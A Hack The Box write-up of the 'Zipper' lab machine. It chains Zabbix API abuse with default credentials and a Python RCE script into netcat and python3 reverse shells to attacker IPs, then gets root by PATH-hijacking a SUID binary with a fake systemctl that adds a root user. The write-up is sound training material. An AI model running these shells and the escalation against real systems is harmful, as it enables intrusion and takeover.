Tags: hack the box, linux, docker, python, api, PATH hijack
If you’ve read my write-up of Jerry, you may have noticed that I’m a big fan of API testing. Zipper has API testing in spades, and I loved digging into it to figure out different methods of gaining access. I really enjoyed the fact that the creator, burmat, added just enough twists to keep the box from being too simple. I had a lot of fun writing a tool to automate running commands against Zabbix and wouldn’t have ever had the need without having done Zipper.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 --ports 0-65535,U:0-65535 --rate 700 -oL masscan.10.10.10.108.all 10.10.10.108
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 10050 10.10.10.108 1550712710
open tcp 22 10.10.10.108 1550712769
open tcp 80 10.10.10.108 1550712570
nmap -p 22,80,10050 -sC -sV -oA nmap.10.10.10.108 10.10.10.108
══════════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Normally, I’d take this moment to push my wrapper around gobuster
named recursive-gobuster. However, there’s not really a need for this target. Such is life. Instead, we’ll use a standard run of gobuster
.
gobuster -s '200,204,301,302,307,403,500' -e -t 20 -u http://10.10.10.108 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.108/
[+] Threads : 20
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403,500
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2019/02/20 20:11:15 Starting gobuster
=====================================================
http://10.10.10.108/zabbix (Status: 301)
=====================================================
2019/02/20 20:21:44 Finished
=====================================================
Upon browsing to http://10.10.10.108/zabbix, we see a login form for (surprise…) Zabbix. Zabbix is an open-source tool for monitoring things like networks, servers, virtual machines (VMs) and cloud services. Zabbix can generate and display reports on things like network utilization, CPU load and disk space consumption.
At this point, port 10050 is tcpwrapped and we don’t have creds for ssh. We’ve enumerated web directories and only found /zabbix/
. Basically, we’re left with very few options. One option is a brute-force attack, the other is to explore this sign in as guest feature. Since brute-force should (generally) be a last resort, let’s check out the guest functionality.
After clicking on sign in as guest, we’re logged into the site. One of the first things we should do when dealing with a web application is to visit every page to get a feel for the application. It’s common to open up burp and keep an eye on the http history tab while browsing the application to see requests and responses as they occur.
While browsing the site, what appears to be a username keeps popping up: zapper. Also, take note of the Zabbix version: 3.0.21
and the fact that on multiple pages there are references to Zapper's Backup Script
. These will come into play a little later.
Since we’re still only a guest, zapper seems to be a likely candidate for an avenue to elevate our permissions. Let’s try logging out of the guest account and attempting to login to the zapper account.
It may seem silly, but trying the username as the password is very simple, quick, and (at times) effective. Tools like hydra
offer the option to automatically try the username as the password for good reason. In this case, we can authenticate to zabbix using the credentials zapper:zapper
.
On a personal note: logging in with these kinds of creds is real. I recently got a very nice payday in a bug bounty program by logging into a Fortune 200 company’s employee on-boarding web application using admin:admin
. Things like this are out there, and trying a few of the defaults may end up being worth your while. Moral of the story: you never know the creds are incredibly simple until you try.
After attempting to login, we get an error message: GUI access disabled.
Since there is no GUI access, a logical assumption is that there is a method of access devoid of a GUI. An API is probably the next step; to the google machine! A simple search for Zabbix 3.0 API leads us to the Zabbix documentation. Now we can start looking for the methods to login via API. Since APIs are a lot of fun to work with and afford us the opportunity to write some code, we’ll be writing a lot of python for this target, heads up!
We’ll begin by writing a small proof of concept that will demonstrate a single working api call.
From the main api page under the Performing requests section, we see this statement.
Once you’ve set up the frontend, you can use remote HTTP requests to call the API. To do that you need to send HTTP POST requests to the api_jsonrpc.php file located in the frontend directory.
So, all of our requests need to be sent to that endpoint. Sounds easy enough. Directly below that statement, we see an example request we can send.
POST http://company.com/zabbix/api_jsonrpc.php HTTP/1.1
Content-Type: application/json-rpc
{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"auth":null,"params":{}}
All we need to do is say the same thing above programmatically. We can open up a python shell and start playing around.
First, we’ll import requests to ease the creation of our http requests. If you’ve never worked with the requests library, it’s an incredible project and used by more than half of all python developers according to a survey earlier this year. While we’re at it, we’ll also get some of the variables setup (url, username, etc…)
Python 3.7.2+ (default, Feb 2 2019, 14:31:48)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
loaded: ['Path', 'pprint']
>>> import requests
>>> url = "http://10.10.10.108/zabbix/api_jsonrpc.php"
>>> post_headers = {"Content-Type": "application/json-rpc"}
>>> post_data = '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"auth":null,"params":{}}'
As you can see, most of the information used was just copied and pasted from the Zabbix example. For convenience, while writing this PoC, we’ll just keep the json data as a string. When we build out more complete scripts later on, the data posted will begin life as a dictionary, similar to the post_headers
variable.
With all of the setup complete, the last piece is to make the request itself.
>>> requests.post(url, data=post_data, headers=post_headers).json()
{'jsonrpc': '2.0', 'result': '3.0.21', 'id': 1}
We now have a functional request to the API to build on.
Let’s see about using the API to authenticate to the site. The documentation for logging in via the API can be found here. Scrolling down a bit, we see an example request and response for user login.
We’ll begin by writing a reusable function to wrap the basics of the API calls, since very little changes from one request to the next.
import json
import requests
def make_rpc_call(method, params, auth) -> dict:
""" Make RPC call to zabbix api.
API Documentation
https://www.zabbix.com/documentation/3.0/manual/api/reference/user/login
Args:
method: zabbix RPC method
params: dictionary of parameters to send
auth: zabbix authentication token
Returns:
JSON response as a dictionary
"""
url = "http://10.10.10.108/zabbix/api_jsonrpc.php"
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"auth": auth,
"id": 0
}
headers = {
'content-type': 'application/json-rpc'
}
response = requests.post(url, data=json.dumps(payload), headers=headers)
return response.json()
This reusable function will power our API calls from now on. Notice that we haven’t changed much from the PoC above. All we did was make the values associated with method
, params
and auth
variable, so we can send different values to the function for different API calls. The other primary difference is that our data sent via POST starts out as a dictionary, and is converted to json before transmission.
Let’s take the new function for a spin. Also, let’s assume we’ve named the file containing our function zabbix_api.py
and it’s in our current directory when we start the python shell.
python3
Python 3.7.2+ (default, Feb 2 2019, 14:31:48)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
loaded: ['Path', 'pprint']
>>> import zabbix_api
>>> zabbix_api.make_rpc_call(method='user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
{'jsonrpc': '2.0', 'result': 'e1db7b4d4739fb742b531c27165c64a2', 'id': 0}
Success! We have asked to login as zapper and the API graciously returned an auth token to us for our efforts (the value associated with result
). The auth token will allow us to make authenticated API calls. The question then becomes, what calls do we still need to make?
Perusing the API docs, we come across the script.execute API endpoint. It definitely sounds like a good way forward in our pursuit of RCE. Let’s check it out.
Take note that the documentation says that this endpoint requires us to send a hostid and a scriptid in the call.
Looking at the example above, both the scriptid and the hostid look like they’re something we need to know before proceeding. Let’s start by figuring out how to ask for a hostid.
The endpoint that will cough up the hostid we need is host.get. This endpoint has a lot of parameters it’ll accept, the trick is asking for the information correctly. Let’s import our function into a shell so we can quickly iterate over calls and see what results we can get back.
Being the astute observers we are, we notice that all of the parameters for this endpoint are optional. So, we can generate a call without parameters and see what the endpoint spits out by default.
>>> import zabbix_api
>>> zabbix_api.make_rpc_call(method='user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
{'jsonrpc': '2.0', 'result': '595fd5893c3245ae6d269e67ca253e8f', 'id': 0}
>>> zabbix_api.make_rpc_call(method='host.get', params={}, auth='595fd5893c3245ae6d269e67ca253e8f')
{'jsonrpc': '2.0', 'result': [{'hostid': '10105', 'proxy_hostid': '0', 'host': 'Zabbix', 'status': '0', 'disable_until': '0', 'error': '', 'available': '0', 'errors_from': '0', 'lastaccess': '0', 'ipmi_authtype': '-1', 'ipmi_privilege': '2', 'ipmi_username': '', 'ipmi_password': '', 'ipmi_disable_until': '0', 'ipmi_available': '0', 'snmp_disable_until': '0', 'snmp_available': '0', 'maintenanceid': '0', 'maintenance_status': '0', 'maintenance_type': '0', 'maintenance_from': '0', 'ipmi_errors_from': '0', 'snmp_errors_from': '0', 'ipmi_error': '', 'snmp_error': '', 'jmx_disable_until': '0', 'jmx_available': '0', 'jmx_errors_from': '0', 'jmx_error': '', 'name': 'Zabbix', 'flags': '0', 'templateid': '0', 'description': 'This host - Zabbix Server', 'tls_connect': '1', 'tls_accept': '1', 'tls_issuer': '', 'tls_subject': '', 'tls_psk_identity': '', 'tls_psk': ''}, {'hostid': '10106', 'proxy_hostid': '0', 'host': 'Zipper', 'status': '0', 'disable_until': '0', 'error': '', 'available': '1', 'errors_from': '0', 'lastaccess': '0', 'ipmi_authtype': '-1', 'ipmi_privilege': '2', 'ipmi_username': '', 'ipmi_password': '', 'ipmi_disable_until': '0', 'ipmi_available': '0', 'snmp_disable_until': '0', 'snmp_available': '0', 'maintenanceid': '0', 'maintenance_status': '0', 'maintenance_type': '0', 'maintenance_from': '0', 'ipmi_errors_from': '0', 'snmp_errors_from': '0', 'ipmi_error': '', 'snmp_error': '', 'jmx_disable_until': '0', 'jmx_available': '0', 'jmx_errors_from': '0', 'jmx_error': '', 'name': 'Zipper', 'flags': '0', 'templateid': '0', 'description': 'Zipper', 'tls_connect': '1', 'tls_accept': '1', 'tls_issuer': '', 'tls_subject': '', 'tls_psk_identity': '', 'tls_psk': ''}], 'id': 0}
That output is pretty gross, let’s clean it up a bit. We can save off the response returned using the python shell’s special variable _
. In the context of python’s interactive shell, the _
character stores the result of the last expression. Effectively, we’re just storing that big json blog above into a variable called response
and pretty-printing it.
1>>> response = _
2>>> from pprint import pprint
3>>> pprint(response)
4{'id': 0,
5 'jsonrpc': '2.0',
6 'result': [{'available': '0',
7 'description': 'This host - Zabbix Server',
8 'disable_until': '0',
9 'error': '',
10 'errors_from': '0',
11 'flags': '0',
12 'host': 'Zabbix',
13 'hostid': '10105',
14 'ipmi_authtype': '-1',
15-------------8<-------------
16 'tls_psk_identity': '',
17 'tls_subject': ''},
18 {'available': '1',
19 'description': 'Zipper',
20 'disable_until': '0',
21 'error': '',
22 'errors_from': '0',
23 'flags': '0',
24 'host': 'Zipper',
25 'hostid': '10106',
26 'ipmi_authtype': '-1',
27-------------8<-------------
28 'tls_subject': ''}]}
That’s much easier to digest. Browsing the response, we see there are two hostids returned to us. Looking at the example below, it looks like we can be much more specific in the output returned to us.
>>> pprint(zabbix_api.make_rpc_call('host.get', {'output': ['host']}, 'd393581f697be2bdf67b5429c7329b21'))
{'id': 0,
'jsonrpc': '2.0',
'result': [{'host': 'Zabbix', 'hostid': '10105'},
{'host': 'Zipper', 'hostid': '10106'}]}
Noice! We have two hostids to work with.
If you’ve been following along, you’ve probably already had to reauthenticate a time or two while playing with the API. Let’s add a small function to the bottom of our zabbix_api.py
file that will take care of that for us. Because we only have one set of creds, this won’t be a function we’re likely to reuse, it’s just a quality of life improvement. Knowing that, we’ll hardcode the zapper
creds into the function.
def zabbix_login():
response = make_rpc_call('user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
return response.get('result')
Armed with our new function, we need to reload our zabbix_api.py
into the shell.
>>> import importlib
>>> importlib.reload(zabbix_api)
<module 'zabbix_api' from '/root/htb/zipper/zabbix_api.py'>
That done, we can now test the new functionality.
>>> zabbix_api.make_rpc_call('host.get', {'output': ['host']}, zabbix_api.zabbix_login())
{'jsonrpc': '2.0', 'result': [{'hostid': '10105', 'host': 'Zabbix'}, {'hostid': '10106', 'host': 'Zipper'}], 'id': 0}
Alright, let’s get back to hunting RCE.
Onto the scriptid! Looking at the API docs again, we see the script.create page. Looking at the example, after calling this endpoint, it returns an array of scriptids. This looks like a winner.
As usual, we’ll start small and work from there.
>>> zabbix_api.make_rpc_call('script.create', {'name': 'test-script', 'command': 'uname -a'}, zabbix_api.zabbix_login())
{'jsonrpc': '2.0', 'result': {'scriptids': ['9']}, 'id': 0}
The response seems to indicate success. We have a scriptid to plug in to our script.execute call!
Alright, we have some hostids and the ability to generate scriptids. Let’s put it all together and see if we can get our uname -a
to execute on one of the hostids.
>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10105', 'scriptid': '9'}, zabbix_api.zabbix_login()))
{'error': {'code': -32500,
'data': 'Get value from agent failed: cannot connect to '
'[[127.0.0.1]:10050]: [111] Connection refused',
'message': 'Application error.'},
'id': 0,
'jsonrpc': '2.0'}
The first hostid returns a Connection refused error, what about the other hostid?
>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': '9'}, zabbix_api.zabbix_login()))
{'id': 0,
'jsonrpc': '2.0',
'result': {'response': 'success',
'value': 'Linux zipper 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 '
'13:44:35 UTC 2018 i686 i686 i686 GNU/Linux'}}
Very nice! We have RCE on the server.
Let’s figure out how we’re going to pop a shell on target. A good place to start is to figure out what binaries are on target that we can utilize.
>>> zabbix_api.make_rpc_call('script.create', {'name': 'test-script2', 'command': 'which perl python nc ncat netcat'}, zabbix_api.zabbix_login())
{'jsonrpc': '2.0', 'result': {'scriptids': ['19']}, 'id': 0}
>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': '19'}, zabbix_api.zabbix_login()))
{'id': 0,
'jsonrpc': '2.0',
'result': {'response': 'success',
'value': '/usr/bin/perl\n/bin/nc\n/bin/netcat\n'}}
Netcat is there, and depending on the version, can make it incredibly simple to go interactive. Let’s see if it has the -e
option.
1>>> zabbix_api.make_rpc_call('script.create', {'name': 'test-script3', 'command': 'nc -h'}, zabbix_api.zabbix_login())
2{'jsonrpc': '2.0', 'result': {'scriptids': ['20']}, 'id': 0}
3>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': '20'}, zabbix_api.zabbix_login()))
4{'id': 0,
5 'jsonrpc': '2.0',
6 'result': {'response': 'success',
7 'value': '[v1.10-41.1]\n'
8 'connect to somewhere:\tnc [-options] hostname port[s] '
9 '[ports] ... \n'
10 'listen for inbound:\tnc -l -p port [-options] [hostname] '
11 '[port]\n'
12 'options:\n'
13 "\t-c shell commands\tas `-e'; use /bin/sh to exec "
14 '[dangerous!!]\n'
15 '\t-e filename\t\tprogram to exec after connect '
16 '[dangerous!!]\n'
17 '\t-b\t\t\tallow broadcasts\n'
18-------------8<-------------
It’s not in the most pleasing format, but we can see that the -e
option is there for us to use. Onto the shell!
We’ve got all of the pieces, we just need to put them together.
First, we’ll start a listener for our callback.
nc -nvlp 12345
══════════════
listening on [any] 12345 ...
Since we’re out of the testing phase of our initial access script we’ll add what we’ve learned so far to our zabbix_api.py
file.
import json
import uuid
import requests
def make_rpc_call(method, params, auth) -> dict:
""" Make RPC call to zabbix api.
API Documentation
https://www.zabbix.com/documentation/3.0/manual/api/reference/host/get
https://www.zabbix.com/documentation/3.0/manual/api/reference/user/login
https://www.zabbix.com/documentation/3.0/manual/api/reference/script/create
https://www.zabbix.com/documentation/3.0/manual/api/reference/script/execute
Args:
method: zabbix RPC method
params: dictionary of parameters to send
auth: zabbix authentication token
Returns:
JSON response as a dictionary
"""
url = "http://10.10.10.108/zabbix/api_jsonrpc.php"
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"auth": auth,
"id": 0
}
headers = {
'content-type': 'application/json-rpc'
}
response = requests.post(url, data=json.dumps(payload), headers=headers)
return response.json()
def zabbix_login():
response = make_rpc_call('user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
return response.get('result')
if __name__ == '__main__':
auth_token = zabbix_login()
cmd = f'/bin/nc -e /bin/bash -nv 10.10.15.41 12345'
script_name = str(uuid.uuid4())[:8] # randomize script name with each use
scr_crt_rsp = make_rpc_call('script.create', {'name': script_name, 'command': cmd}, auth_token)
script_id = scr_crt_rsp.get('result').get('scriptids')[0]
make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': script_id}, auth_token)
With the hostid, scriptid, and netcat command in place, we can finally execute it to get a shell on target.
python3 zabbix_api.py
═════════════════════
# window with netcat listener running
connect to [10.10.15.41] from (UNKNOWN) [10.10.10.108] 43080
id
uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)
\o/ - access level: zabbix
Even though we have a shell, user.txt is nowhere to be found. Additionally, we can easily see that we’re in a docker container based on the presence of the /.dockerenv
file. Some cursory enumeration takes us to the /backups
directory.
ls -al /backups
═══════════════
/backups:
total 16
drwxrwxrwx 2 1000 1000 4096 Feb 22 11:00 .
drwxr-xr-x 1 root root 4096 Feb 22 08:32 ..
-rw-rw-r-- 1 zabbix zabbix 330 Feb 22 10:34 zabbix_scripts_backup-2019-02-22.7z
-rw-rw-r-- 1 1000 1000 3207 Feb 22 11:00 zapper_backup-2019-02-22.7z
That’s cool, but they’re both password protected, so not much use without a password. Recall from when we were a guest in the web UI that Zapper's Backup Script
is somewhere around here. Let’s see if we can find it.
1find / | grep -i backup
2═══════════════════════
3
4/var/backups
5/usr/lib/zabbix/externalscripts/backup_script.sh
6/usr/share/perl5/Debconf/DbDriver/Backup.pm
7/backups
8/backups/zapper_backup-2019-02-22.7z
Huzzah!
cat /usr/lib/zabbix/externalscripts/backup_script.sh
════════════════════════════════════════════════════
#!/bin/bash
# zapper wanted a way to backup the zabbix scripts so here it is:
7z a /backups/zabbix_scripts_backup-$(date +%F).7z -pZippityDoDah /usr/lib/zabbix/externalscripts/* &>/dev/null
echo $?
The -p
option is the password to the 7z archives. It may be the password to other services, let’s try ssh.
A quick attempt at ssh’ing to the box proves unsuccessful. We’re getting rejected because the server only accepts an ssh key, which we’re not providing.
ssh zapper@10.10.10.108
═══════════════════════
zapper@10.10.10.108: Permission denied (publickey).
A look in /home
isn’t helpful, almost certainly because we’re in a docker container and not on the host.
ls -al /home
════════════
total 8
drwxr-xr-x 2 root root 4096 Apr 24 2018 .
drwxr-xr-x 1 root root 4096 Feb 22 15:35 ..
So, the ssh keys that normally reside in a user’s home folder aren’t here. Even if they were, we wouldn’t be able to access them as the zabbix user. Remember that there were two hostids? Let’s see if getting a shell on the other hostid gets us access to the host.
Poking around the documentation yet again, we see that script.create accepts scripts with the standard script properties. It’s in this additional page that we find what we need, the execute_on property. This will allow us to dictate whether our script gets created on the host or the container.
While we’re back messing with the API, let’s clean up our script again and make it something a little bit more flexible.
We’ll remove our hardcoded creds and add a reusable authentication function.
def authenticate(user, passwd):
auth_call = make_rpc_call(method='user.login', params=dict(user=user, password=passwd), auth=None)
return auth_call.get('result')
We’ll also add a way to determine the hostid based on the logical name (i.e. Zabbix or Zipper).
def get_hostid_by_host(host, token):
hostid_call = make_rpc_call(method='host.get', params=dict(output=['host']), auth=token)
for result in hostid_call.get('result'):
if result.get('host') == host:
return result.get('hostid')
Another useful addition is a function to handle all the drudgery of command execution.
def execute_command(cmd, token, location):
script_name = str(uuid.uuid4())[:8]
create_script_call = make_rpc_call('script.create', params=dict(command=cmd, name=script_name, execute_on=location), auth=token)
script_id = create_script_call.get('result').get('scriptids')[0]
rpc_call = make_rpc_call(method='script.execute', params=dict(scriptid=script_id, hostid=hostid), auth=auth_token)
try:
print(rpc_call.get('result').get('value'))
except AttributeError:
# rpc_call was likely a callback and no results returned
pass
And no python commandline tool is complete without argparse!
if __name__ == '__main__':
hosts = ['Zipper', 'Zabbix']
parser = argparse.ArgumentParser()
parser.add_argument('--username', help='username to authenticate with', required=True)
parser.add_argument('--password', help='password to authenticate with', required=True)
parser.add_argument('--command', help='command to run on target', required=True)
parser.add_argument('--zbx_host', help='Zabbix Host to run command on (default: Zipper)', default='Zipper', choices=hosts)
args = parser.parse_args()
location = hosts.index(args.zbx_host)
auth_token = authenticate(user=args.username, passwd=args.password)
hostid = get_hostid_by_host(host=args.zbx_host, token=auth_token)
execute_command(cmd=args.command, token=auth_token, location=location)
A fully documented version can be found at my repo of HTB Scripts for Retired Boxes. It has links to all the relevant API endpoints and examples in the docstrings.
Ok, let’s recap. We know ssh keys are needed to login via ssh. We know there’s a zapper user. While in the container earlier, we couldn’t see anything in the home directory. Let’s give the new script a try and just check out /home
on both the container and the host.
./zabbix_rpc_rce.py --username zapper --password zapper --command 'ls -al /home' --zbx_host Zabbix
══════════════════════════════════════════════════════════════════════════════════════════════════
total 8
drwxr-xr-x 2 root root 4096 Apr 24 2018 .
drwxr-xr-x 1 root root 4096 Feb 22 15:35 ..
./zabbix_rpc_rce.py --username zapper --password zapper --command 'ls -al /home' --zbx_host Zipper
══════════════════════════════════════════════════════════════════════════════════════════════════
total 12
drwxr-xr-x 3 root root 4096 Sep 8 06:44 .
drwxr-xr-x 22 root root 4096 Sep 8 07:10 ..
drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 zapper
It looks like our assumption was correct. Now we have RCE on the host itself! Unfortunately, we’re still running as the zabbix user and can’t access zapper’s .ssh
folder. Instead, we’ll get another shell and try to su
to zapper using the password we found in Zapper's Backup Script
. Because the execution environment is different (host vs container), we need to reassess what tools are available to us.
./zabbix_rpc_rce.py --username zapper --password zapper --command 'which python perl python3 nc netcat ncat'
════════════════════════════════════════════════════════════════════════════════════════════════════════════
/usr/bin/perl
/usr/bin/python3
/bin/nc
/bin/netcat
We’ll use python3 this time for a reverse shell.
./zabbix_rpc_rce.py --username zapper --password zapper --command 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.16\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"'
Running the above command with a listener in place gets us a shell on the host. Go team! We still can’t run commands like su
and sudo
without a pty. Luckily, a simple python command will take care of that.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
zabbix@zipper:/$
Now, let’s see about su
ing to zapper.
zabbix@zipper:/$ su zapper
su zapper
Password: ZippityDoDah
Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
███╔╝ ██║██████╔╝██████╔╝█████╗ ██████╔╝
███╔╝ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
███████╗██║██║ ██║ ███████╗██║ ██║
╚══════╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
[0] Packages Need To Be Updated
[>] Backups:
4.0K /backups/zapper_backup-2019-02-22.7z
zapper@zipper:/$
Now that we’re zapper, we can grab user.txt and the ssh private key that will allow us to ssh directly to the machine.
cat /home/zapper/user.txt
aa29...
cat /home/zapper/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAzU9krR2wCgTrEOJY+dqbPKlfgTDDlAeJo65Qfn+39Ep0zLpR
l3C9cWG9WwbBlBInQM9beD3HlwLvhm9kL5s55PIt/fZnyHjYYkmpVKBnAUnPYh67
-------------8<-------------
\o/ - access level: zapper
The path to root is pretty straightforward. We start off by checking out zapper’s home directory and finding the utils
folder.
ls -al utils/
═════════════
total 20
drwxrwxr-x 2 zapper zapper 4096 Sep 8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 ..
-rwxr-xr-x 1 zapper zapper 194 Sep 8 13:12 backup.sh
-rwsr-sr-x 1 root root 7556 Sep 8 13:05 zabbix-service
The zabbix-service
binary has the SUID bit set, which should immediately grab our attention. Running strings
on the binary gives us a clue on the way forward.
1strings ./zabbix-service
2════════════════════════
3
4-------------8<-------------
5_ITM_registerTMCloneTable
6Y[^]
7UWVS
8[^_]
9start or stop?:
10start
11systemctl daemon-reload && systemctl start zabbix-agent
12stop
13systemctl stop zabbix-agent
14[!] ERROR: Unrecognized Option
15-------------8<-------------
The binary appears to be running the systemctl
command, but it does not use an absolute path when doing so. For us, that means this binary is susceptible to PATH hijacking.
The PATH
environment variable is used to tell the shell which directories it should search when looking for a binary to run. When we run a command on Linux, we normally just specify the command itself:
cat /etc/passwd
The PATH
helps the shell find where exactly the cat
command lives on disk.
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Using the PATH
above, bash will look for a file with the executable bit set in /usr/local/sbin
. If there is a file named cat
in that folder, and it’s executable, it will be run by bash. If it’s not there, /usr/local/bin
will be checked next. If cat
isn’t there, it will check /usr/sbin
and so on down the line until it either finds an executable named cat
in one of the directories, or it runs out of directories to try. We can easily check where cat
lives with the which
command.
which cat
/bin/cat
So, when we type cat /etc/passwd
, the shell checks /usr/local/sbin
, /usr/local/bin
, /usr/sbin
, /usr/bin
, and /sbin
before arriving at /bin
. Once there, a file named cat
is found and the command runs.
It’s important to understand how the PATH
functions before we try to abuse that functionality.
Due to the fact that we control the PATH
variable, we can dictate which directories get searched for binaries to be run. Therein lies the crux of the vulnerability. By not specifying an absolute path to systemctl
, the developer is allowing us to essentially say which systemctl
should be run. We do this by altering the PATH
variable to point at an arbitrary directory we control. Inside that directory, we just need to create a file named systemctl
and make it executable. The contents can be whatever we want them to be. Let’s do eeet.
First, we’ll make a directory to work out of and cd
into it.
mkdir /tmp/.supersecret
cd !$
Then, we’ll create our own version of systemctl
. I enjoy adding a root user in situations like these.
cat /tmp/.supersecret/systemctl
═══════════════════════════════
#!/bin/bash
echo 'epi:thanks:0:0::/root:/bin/bash' | newusers
The last thing to take care of is adjusting our PATH
to make our current directory the first entry in the PATH
.
PATH=$(pwd):$PATH && echo $PATH
═════════════════
/tmp/.supersecret:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Now, everything is in place. The final step is to run the SUID bit binary.
/home/zapper/utils/zabbix-service
start or stop?: start
That done, we can just su
to our new root user.
zapper@zipper:/tmp/.supersecret$ su - epi
Password: thanks
root@zipper:~# id
uid=0(root) gid=0(root) groups=0(root)
And, of course, the flag.
cat /root/root.txt
══════════════════
a7c7...
\o/ - root access
For SnG’s, we can get GUI access by creating a new admin user. In the GUI we could perform all of the same actions we performed through the API (not demonstrated here).
The usergroup.get endpoint will tell us which group id (usrgrpid) is associated with the Zabbix administrators group.
python3
Python 3.7.2+ (default, Feb 2 2019, 14:31:48)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
loaded: ['Path', 'pprint']
>>> import zabbix_rpc_rce
>>> token = zabbix_rpc_rce.authenticate('zapper', 'zapper')
pprint(zabbix_rpc_rce.make_rpc_call('usergroup.get', {}, auth=token))
{'id': 0,
'jsonrpc': '2.0',
'result': [{'debug_mode': '0',
'gui_access': '0',
'name': 'Zabbix administrators',
'users_status': '0',
'usrgrpid': '7'},
{'debug_mode': '0',
'gui_access': '0',
'name': 'Guests',
'users_status': '0',
'usrgrpid': '8'},
{'debug_mode': '0',
'gui_access': '0',
'name': 'Disabled',
'users_status': '1',
'usrgrpid': '9'},
{'debug_mode': '1',
'gui_access': '0',
'name': 'Enabled debug mode',
'users_status': '0',
'usrgrpid': '11'},
{'debug_mode': '0',
'gui_access': '2',
'name': 'No access to the frontend',
'users_status': '0',
'usrgrpid': '12'}]}
The [user.create]https://www.zabbix.com/documentation/3.0/manual/api/reference/user/create) endpoint allows us to use zapper’s creds to create a new user.
>>> zabbix_rpc_rce.make_rpc_call('user.create', {'passwd': 'thanks', 'alias': 'epi', 'usrgrps':[{'usrgrpid': '7'}]}, auth=token)
{'jsonrpc': '2.0', 'result': {'userids': ['4']}, 'id': 0}
The user.update endpoint allows us to change the type of our user to Zabbix super admin.
zabbix_rpc_rce.make_rpc_call('user.update', {'userid': 4, 'type':3}, auth=token)
{'jsonrpc': '2.0', 'result': {'userids': [4]}, 'id': 0}
Now we can login as an admin.
If we grab a shell back inside the Zabbix container, we can snag the creds for Admin and use those to login to the GUI as well. With a listener running on port 12345, we’ll use our handy-dandy zabbix tool to get a shell.
./zabbix_rpc_rce.py --username zapper --password zapper --command 'nc -nve /bin/bash 10.10.14.16 12345' --zbx_host Zabbix
Then we can view the contents of one of the Zabbix config files.
1<?php
2// Zabbix GUI configuration file.
3global $DB;
4
5$DB['TYPE'] = 'MYSQL';
6$DB['SERVER'] = 'localhost';
7$DB['PORT'] = '0';
8$DB['DATABASE'] = 'zabbixdb';
9$DB['USER'] = 'zabbix';
10$DB['PASSWORD'] = 'f.YMeMd$pTbpY3-449';
11
12// Schema name. Used for IBM DB2 and PostgreSQL.
13$DB['SCHEMA'] = '';
14
15$ZBX_SERVER = 'localhost';
16$ZBX_SERVER_PORT = '10051';
17$ZBX_SERVER_NAME = 'Zabbix';
18
19$IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG;
20
We can snag the password and login to the GUI with Admin:f.YMeMd$pTbpY3-449
.
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.